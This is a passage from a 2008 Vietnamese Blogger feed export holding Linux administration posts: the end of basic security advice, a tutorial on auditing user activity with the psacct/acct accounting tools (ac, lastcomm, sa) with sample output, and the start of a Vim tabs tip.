hoặc tự nâng cấp cho tất cả phần mềm trong hệ thống hiện thời của bạn là yếu tố quan trọng để giành chiến thắng trong cuộc đua chống những kẻ xâm phạm bất hợp pháp. &lt;br&gt;&lt;br&gt;Giống như lái xe, bảo mật máy tính cũng có những điểm hết sức đáng chán. Để giữ an toàn, bạn phải tiếp tục thực hiện các nguyên tắc cơ bản sau đây: &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;em&gt;• Sao lưu hệ thống như là một hình thức bảo hiểm &lt;br&gt;• Biết mình đang cố gắng bảo vệ cái gì &lt;br&gt;• Thực hiện tất cả các chính sách thích hợp (nếu cần thì có thể xây dựng chính sách riêng) &lt;br&gt;• Biết ước lượng khả năng của mình và giới hạn nó &lt;br&gt;• Luôn quan sát, theo dõi các mối đe doạ phù hợp &lt;br&gt;• Luôn cập nhật các bản mới nhất cho phần mềm &lt;br&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;Để giữ an toàn cho hệ thống cần phải luôn kiên trì, kiên định và thường xuyên nâng cao cảnh giác. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-3720949096934673852?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/3720949096934673852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=3720949096934673852' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3720949096934673852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3720949096934673852'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/bo-mt-linux-c-s.html' title='Bảo mật Linux cơ sở'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-5459352318416503872</id><published>2008-01-27T05:39:00.000-08:00</published><updated>2008-01-27T05:40:11.997-08:00</updated><title type='text'>Dò tìm dấu vết chỉnh sửa được thực hiện trên hệ thống Linux</title><content type='html'>Hoạt động xâm phạm có thể đến từ cả hai phía: người dùng đã biết (nội bộ) và người dùng không xác định (từ bên ngoài). Kinh nghiệm cá nhân của tôi chỉ ra rằng những người không hạnh phúc hay không bằng lòng với cuộc sống thường gây nguy hiểm cho hệ thống của bạn, nhất là khi họ có lớp vỏ bọc truy cập hợp pháp. Một số người khá thông minh, loại bỏ file history (như: ~/.bash_history) hòng tránh bị phát hiện. Nhưng bạn vẫn hoàn toàn có thể giám sát tất cả lệnh thực thi của người dùng.&lt;br /&gt;&lt;br /&gt;Lời khuyên ở đây là bạn nên kiểm soát hoạt động người dùng bằng cách sử dụng chương trình xử lý accounting. Chương trình xử lý accounting cho phép bạn xem xét mọi lệnh do người dùng thực thi với thời gian sử dụng CPU và bộ nhớ. Nhờ chương trình này, người quản trị sẽ luôn tìm ra được mọi lệnh thực thi ở bất kỳ thời gian nào.&lt;br /&gt;&lt;br /&gt;Gói xử lý accounting gồm một số tiện ích giám sát các hoạt động chương trình như ac, lastcomm, accton và sa.&lt;br /&gt;&lt;br /&gt;• Câu lệnh "ac" thể hiện lượng thời gian người dùng đăng nhập hệ thống.&lt;br /&gt;• Câu lệnh "lastcomm" cho biết thông tin của các lệnh thực thi trước đó.&lt;br /&gt;• Câu lệnh "accton" bật tắt chương trình xử lý accounting.&lt;br /&gt;• Câu lệnh "sa" tóm tắt thông tin về các lệnh được thực thi trước đó.&lt;br /&gt;&lt;br /&gt;Cài đặt gói psact hoặc acct&lt;br /&gt;&lt;br /&gt;Dùng lệnh up2date nếu bạn đang dùng RHEL:&lt;br /&gt;&lt;br /&gt;# up2date psacct&lt;br /&gt;&lt;br /&gt;Dùng lệnh yum nếu bạn đang dùng nhân Linux CentOS/Fedora:&lt;br /&gt;&lt;br /&gt;# yum install psacct&lt;br /&gt;&lt;br /&gt;Dùng lệnh apt-get nếu bạn đang dùng Linux Ubuntu / Debian:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install acct OR # apt-get install acct&lt;br /&gt;&lt;br /&gt;Khởi động dịch vụ psacct/acct&lt;br /&gt;&lt;br /&gt;Mặc định, dịch vụ này khởi động trên Ubuntu / Debian Linux bằng cách tạo ra file "/var/account/pacct". Nhưng ở hệ điều hành Red Hat /Fedora Core/Cent OS, bạn cần tự khởi động "psacct". Gõ hai lệnh sau để tạo file "/var/account/pacct" và khởi động các dịch vụ:&lt;br /&gt;&lt;br /&gt;# chkconfig psacct on&lt;br /&gt;# /etc/init.d/psacct start&lt;br /&gt;&lt;br /&gt;Nếu bạn đang dùng Suse Linux, tên của dịch vụ là "acct". Gõ các lệnh sau:&lt;br /&gt;&lt;br /&gt;# chkconfig acct on&lt;br /&gt;# /etc/init.d/acct start&lt;br /&gt;&lt;br /&gt;Bây giờ chúng ta hãy xem cách khai thác các tiện ích này để giám sát lệnh và thời gian người dùng.&lt;br /&gt;&lt;br /&gt;Hiển thị số liệu thời gian kết nối của người dùng&lt;br /&gt;&lt;br /&gt;Câu lệnh "ac" đưa ra số liệu thời gian kết nối theo giờ dựa trên các lệnh login/logout. Số lượng tổng cộng cũng được đưa ra. Nếu bạn gõ lệnh "ac" không có bất kỳ tham số nào, nó sẽ đưa ra lượng thời gian kết nối tổng:&lt;br /&gt;&lt;br /&gt;$ ac&lt;br /&gt;&lt;br /&gt;Xuất ra:&lt;br /&gt;&lt;br /&gt;total 95.08&lt;br /&gt;&lt;br /&gt;Hiển thị lượng tổng cộng theo từng ngày tốt hơn là chỉ có một kết quả tổng lớn vào thời điểm cuối cùng:&lt;br /&gt;&lt;br /&gt;$ ac -d&lt;br /&gt;&lt;br /&gt;Xuất ra:&lt;br /&gt;&lt;br /&gt;Nov 1 total 8.65&lt;br /&gt;Nov 2 total 5.70&lt;br /&gt;Nov 3 total 13.43&lt;br /&gt;Nov 4 total 6.24&lt;br /&gt;Nov 5 total 10.70&lt;br /&gt;Nov 6 total 6.70&lt;br /&gt;Nov 7 total 10.30&lt;br /&gt;.....&lt;br /&gt;..&lt;br /&gt;...&lt;br /&gt;Nov 12 total 3.42&lt;br /&gt;Nov 13 total 4.55&lt;br /&gt;Today total 0.52&lt;br /&gt;&lt;br /&gt;Hiển thị thời gian tổng cộng của từng người dùng để thêm vào giá trị "mọi thứ trong một" thông thường:&lt;br /&gt;&lt;br /&gt;$ ac -p&lt;br /&gt;&lt;br /&gt;Xuất ra:&lt;br /&gt;&lt;br /&gt;    vivek          87.49&lt;br /&gt;    root           7.63&lt;br /&gt;    total          95.11&lt;br /&gt;&lt;br /&gt;Tìm ra thông tin các lệnh người dùng thực thi trước đó&lt;br /&gt;&lt;br /&gt;Sử dụng câu lệnh lastcomm để đưa ra thông tin các lệnh người dùng thực thi trước đó. Bạn có thể tìm kiếm lệnh bằng cách sử dụng username (tên người dùng), tty name, hoặc bằng tên của chính câu lệnh.&lt;br /&gt;&lt;br /&gt;Ví dụ hiển thị lệnh do người dùng "vivek" sử dụng:&lt;br /&gt;&lt;br /&gt;$ lastcomm vivek&lt;br /&gt;&lt;br /&gt;Xuất ra:&lt;br /&gt;&lt;br /&gt;userhelper  S   X  vivek pts/0    0.00 secs Mon Nov 13 23:58&lt;br /&gt;userhelper  S      vivek pts/0    0.00 secs Mon Nov 13 23:45&lt;br /&gt;rpmq               vivek pts/0    0.01 secs Mon Nov 13 23:45&lt;br /&gt;rpmq               vivek pts/0    0.00 secs Mon Nov 13 23:45&lt;br /&gt;rpmq               vivek pts/0    0.01 secs Mon Nov 13 23:45&lt;br /&gt;gcc                vivek pts/0    0.00 secs Mon Nov 13 23:45&lt;br /&gt;which              vivek pts/0    0.00 secs Mon Nov 13 23:44&lt;br /&gt;bash          F    vivek pts/0    0.00 secs Mon Nov 13 23:44&lt;br /&gt;ls                 vivek pts/0    0.00 secs Mon Nov 13 23:43&lt;br /&gt;rm                 vivek pts/0    0.00 secs Mon Nov 13 23:43&lt;br /&gt;vi                 vivek pts/0    0.00 secs Mon Nov 13 23:43&lt;br /&gt;ping        S      vivek pts/0    0.00 secs Mon Nov 13 23:42&lt;br /&gt;ping        S      vivek pts/0    0.00 secs Mon Nov 13 23:42&lt;br /&gt;ping        S      vivek pts/0    0.00 secs Mon Nov 13 23:42&lt;br /&gt;cat                vivek pts/0    0.00 secs Mon Nov 13 23:42&lt;br /&gt;netstat            vivek pts/0    0.07 secs Mon Nov 13 23:42&lt;br /&gt;su          S      vivek pts/0    0.00 secs Mon Nov 13 23:38&lt;br /&gt;&lt;br /&gt;Thông tin được đưa ra theo từng dòng. Ví dụ với dòng đầu tiên:&lt;br /&gt;&lt;br /&gt;userhelper  S   X  vivek pts/0    0.00 secs Mon Nov 13 23:58&lt;br /&gt;&lt;br /&gt;Trong đó: &lt;br /&gt;&lt;br /&gt;-  userhelper: là tên lệnh chương trình &lt;br /&gt;&lt;br /&gt;-  S và X: là các cờ, ghi lại bởi kiểu định tuyến tài khoản hệ thống. Ý nghĩa của các cờ gồm: &lt;br /&gt;&lt;br /&gt;    *&lt;br /&gt;      S - câu lệnh thực thi bởi siêu người dùng.&lt;br /&gt;    *&lt;br /&gt;      F - câu lệnh thực thi sau khi rẽ nhánh nhưng sau đó không làm gì nữa.&lt;br /&gt;    *&lt;br /&gt;      D - câu lệnh kết thúc bằng một file lõi chung.&lt;br /&gt;    *&lt;br /&gt;      X - câu lệnh được kết thúc bằng dấu hiệu SIGTERM.&lt;br /&gt;&lt;br /&gt;- vivek: tên người dùng chạy chương trình này. &lt;br /&gt;&lt;br /&gt;- prts/0: tên mở rộng. &lt;br /&gt;&lt;br /&gt;- 0.00 secx: thời gian thực thi chương trình.&lt;br /&gt;&lt;br /&gt;Tìm kiếm các file log tính toán bằng tên lệnh:&lt;br /&gt;&lt;br /&gt;$ lastcomm rm&lt;br /&gt;$ lastcomm passwd&lt;br /&gt;&lt;br /&gt;Xuất ra:&lt;br /&gt;&lt;br /&gt;rm        S     root    pts/0    0.00 secs Tue Nov 14 00:39&lt;br /&gt;rm        S     root    pts/0    0.00 secs Tue Nov 14 00:39&lt;br /&gt;rm        S     root    pts/0    0.00 secs Tue Nov 14 00:38&lt;br /&gt;rm        S     root    pts/0    0.00 secs Tue Nov 14 00:38&lt;br /&gt;rm        S     root    pts/0    0.00 secs Tue Nov 14 00:36&lt;br /&gt;rm        S     root    pts/0    0.00 secs Tue Nov 14 00:36&lt;br /&gt;rm        S     root    pts/0    0.00 secs Tue Nov 14 00:35&lt;br /&gt;rm        S     root    pts/0    0.00 secs Tue Nov 14 00:35&lt;br /&gt;rm              vivek   pts/0    0.00 secs Tue Nov 14 00:30&lt;br /&gt;rm              vivek   pts/1    0.00 secs Tue Nov 14 00:30&lt;br /&gt;rm              vivek   pts/1    0.00 secs Tue Nov 14 00:29&lt;br /&gt;rm              vivek   pts/1    0.00 secs Tue Nov 14 00:29&lt;br /&gt;&lt;br /&gt;Tìm kiếm các file log tính toán bằng tên mở rộng pts/1&lt;br /&gt;&lt;br /&gt;$ lastcomm pts/1&lt;br /&gt;&lt;br /&gt;Tóm tắt thông tin tính toán&lt;br /&gt;&lt;br /&gt;Dùng lệnh sa để đưa ra thông tin tóm tắt về các lệnh được thực thi trước đó. Hơn nữa các thông tin này còn ép dữ liệu để đưa vào một file tóm tắt có tên "savacct", gồm thời gian lệnh được gọi và tài nguyên hệ thống được dùng. Thông tin cũng có thể được tóm tắt theo từng người dùng cơ sở. "sa" sẽ ghi thông tin vào một file có tên "usracct".&lt;br /&gt;&lt;br /&gt;# sa&lt;br /&gt;&lt;br /&gt;Xuất ra:&lt;br /&gt;&lt;br /&gt;   579     222.81re    0.16cp    7220k&lt;br /&gt;     4       0.36re    0.12cp   31156k    up2date&lt;br /&gt;     8       0.02re    0.02cp   16976k    rpmq&lt;br /&gt;     8       0.01re    0.01cp    2148k    netstat&lt;br /&gt;    11       0.04re    0.00cp    8463k    grep&lt;br /&gt;    18     100.71re    0.00cp   11111k    ***other*&lt;br /&gt;     8       0.00re    0.00cp   14500k    troff&lt;br /&gt;     5      12.32re    0.00cp   10696k    smtpd&lt;br /&gt;     2       8.46re    0.00cp   13510k    bash&lt;br /&gt;     8       9.52re    0.00cp    1018k    less&lt;br /&gt;&lt;br /&gt;Ví dụ với dòng đầu tiên: &lt;br /&gt;&lt;br /&gt;     4       0.36re    0.12cp   31156k    up2date&lt;br /&gt;&lt;br /&gt;Trong đó:&lt;br /&gt;&lt;br /&gt;• 0.36re: "thời gian thực" (theo phút của đồng hồ treo tường).&lt;br /&gt;• 0.12cp: tổng thời gian sử dụng CPU của hệ thống và người dùng (theo phút).&lt;br /&gt;• 31156k: thời gian sử dụng CPU trung bình (theo đơn vị k).&lt;br /&gt;• up2date: tên lệnh.&lt;br /&gt;&lt;br /&gt;Hiển thị thông tin với từng người dùng:&lt;br /&gt;&lt;br /&gt;# sa -u&lt;br /&gt;&lt;br /&gt;Xuất ra:&lt;br /&gt; &lt;br /&gt;root      0.00 cpu       595k mem accton&lt;br /&gt;root      0.00 cpu     12488k mem initlog&lt;br /&gt;root      0.00 cpu     12488k mem initlog&lt;br /&gt;root      0.00 cpu     12482k mem touch&lt;br /&gt;root      0.00 cpu     13226k mem psacct&lt;br /&gt;root      0.00 cpu       595k mem consoletype&lt;br /&gt;root      0.00 cpu     13192k mem psacct          *&lt;br /&gt;root      0.00 cpu     13226k mem psacct&lt;br /&gt;root      0.00 cpu     12492k mem chkconfig&lt;br /&gt;postfix   0.02 cpu     10696k mem smtpd&lt;br /&gt;vivek     0.00 cpu     19328k mem userhelper&lt;br /&gt;vivek     0.00 cpu     13018k mem id&lt;br /&gt;vivek     0.00 cpu     13460k mem bash            *&lt;br /&gt;lighttpd  0.00 cpu     48240k mem php             *&lt;br /&gt;&lt;br /&gt;Hiển thị số lượng chương trình và số phút sử dụng CPU ở từng người dùng cơ bản:&lt;br /&gt;&lt;br /&gt;# sa -m&lt;br /&gt;&lt;br /&gt;Xuất ra:&lt;br /&gt;&lt;br /&gt;                      667     231.96re     0.17cp       7471k&lt;br /&gt;root                  544      51.61re     0.16cp       7174k&lt;br /&gt;vivek                 103      17.43re     0.01cp       8228k&lt;br /&gt;postfix                18     162.92re     0.00cp       7529k&lt;br /&gt;lighttpd                2       0.00re     0.00cp      48536k &lt;br /&gt;&lt;br /&gt;Tìm ra ai là người đang chiếm lĩnh CPU&lt;br /&gt;&lt;br /&gt;Bằng cách nhìn vào thành phần thời gian "re, k, cp/cpu" (xem phần giải thích ở trên), bạn có thể tìm ra hoạt động đáng ngờ hoặc tên của người dùng, tên lệnh đang chiếm lĩnh toàn bộ CPU. Thời gian cũng như dung lượng sử dụng CPU (hoặc bộ nhớ) tăng lên tức là có vấn đề xuất hiện.&lt;br /&gt;&lt;br /&gt;Hãy lưu ý các lệnh ở trên cũng như các gói ở nhiều hệ điều hành tựa UNIX khác (như Sun Solaris và *BSD chẳng hạn).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-5459352318416503872?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/5459352318416503872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=5459352318416503872' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/5459352318416503872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/5459352318416503872'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/d-tm-du-vt-chnh-sa-c-thc-hin-trn-h-thng.html' title='Dò tìm dấu vết chỉnh sửa được thực hiện trên hệ thống Linux'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-7811683634926565819</id><published>2008-01-27T05:37:00.000-08:00</published><updated>2008-01-27T05:38:02.941-08:00</updated><title type='text'>Mẹo nhỏ với Vim: sử dụng các tab</title><content type='html'>&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;/font&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;strong&gt;&lt;font color="#333333"&gt;Trước khi Vim 7.0 được phát hành hồi tháng 5 năm ngoái, mỗi khi chỉnh sửa file, tôi phải mở đến 5, 6 cửa sổ xterm hay Konsole. Mỗi cửa sổ là một Vim session riêng với một file đơn để chỉnh sửa. Điều này khiến tôi mất quá nhiều không gian trên màn hình và rất không hiệu quả.&lt;/font&gt;&lt;/strong&gt; Vim 7.0 cho phép người dùng lựa chọn sử dụng các tab, thống nhất tất cả session vào một cửa sổ và di chuyển giữa các file dễ dàng. &lt;br&gt;&lt;br&gt;Nếu bạn đang dùng phiên bản Vim trước 7.0, bạn không có quyền truy cập thành phần này. Bây giờ hầu hết mọi distro đều chuyển sang Vim 7.0 nên bạn phải dùng phiên bản mới nhất mới có thể sử dụng được chúng. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Mở một tab&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Chúng ta hãy bắt đầu với việc mở một tab mới trong Vim. Có một số cách thực hiện điều này. Dễ nhớ nhất là chạy lệnh &lt;font face="Courier New" size="2"&gt;:tabnew&lt;/font&gt; trong chế độ normal (mức bình thường). Lệnh này sẽ mở ra một tab mới với bộ đệm trống. Nếu bạn muốn chỉnh sửa file trong tab mới, bạn có thể chạy lệnh &lt;font face="Courier New" size="2"&gt;:tabnew filename&lt;/font&gt;. Vim sẽ load file trong tab mới cho bạn. &lt;br&gt;&lt;br&gt;&lt;img src="http://www.quantrimang.com/photos/Image/012007/27/Vim7.0.jpg" alt="" align="left" height="184" hspace="4" width="230"&gt;Cách khác là mở nhiều hơn một file khi khởi động, dùng tuỳ chọn -p. Nếu bạn muốn mở ba file trong các tab riêng, sử dụng cú pháp sau: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote dir="ltr" style="margin-right: 0px;"&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font face="Courier New" size="2"&gt;vim -p file1 file2 file3&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Lệnh này sẽ bắt đầu một phiên Vim (Vim session) với file1 trong tab đầu tiên, file2 trong tab thứ hai và file3 trong tab thứ ba. &lt;br&gt;&lt;br&gt;Vim sẽ mở các tab theo số lượng bạn yêu cầu trên starup. Số tab lớn nhất được thiết lập trong file &lt;em&gt;vimrc&lt;/em&gt;. Giá trị lớn nhất mặc định là 10, nhưng bạn có thể thay đổi bằng cách thiết lập tuỳ chọn &lt;font face="Courier New" size="2"&gt;tabpagemax&lt;/font&gt; trong &lt;em&gt;.vimrc&lt;/em&gt; của mình, dạng như sau: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;blockquote dir="ltr" style="margin-right: 0px;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font face="Courier New" size="2"&gt;set tabpagemax=15&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Nếu bạn vượt quá con số trong &lt;font face="Courier New" size="2"&gt;tabpagemax&lt;/font&gt;, Vim sẽ mở tối đa tab cho phép, còn các file khác cũng vẫn mở nhưng không hiển thị lên. Bạn có thể chỉnh sửa các file còn lại bằng cách dùng lệnh &lt;font face="Courier New" size="2"&gt;:netxt&lt;/font&gt; hay &lt;font face="Courier New" size="2"&gt;:last&lt;/font&gt; để di chuyển các file không được hiển thị trong một tab. Lưu ý rằng thiết lập này chỉ áp dụng cho số tab lớn nhất Vim sẽ mở trên starup. Bạn vẫn có thể mở nhiều tab hơn trong quá trình hoạt động của Vim. &lt;br&gt;&lt;br&gt;Lệnh &lt;font face="Courier New" size="2"&gt;:tabf&lt;/font&gt; cho phép bạn tìm kiếm file trong đường dẫn hiện tại và mở nó ra trong tab mới. Chẳng hạn, nếu bạn muốn mở một file có tên inventory.txt trong đường dẫn hiện tại, bạn có thể chạy: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote dir="ltr" style="margin-right: 0px;"&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font face="Courier New" size="2"&gt;:tabf inven*&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Lệnh này sẽ tìm tìm file phù hợp với xâu &lt;font face="Courier New" size="2"&gt;inven&lt;/font&gt; và bất kỳ ký tự số nào sau nó. Nếu chỉ có một f
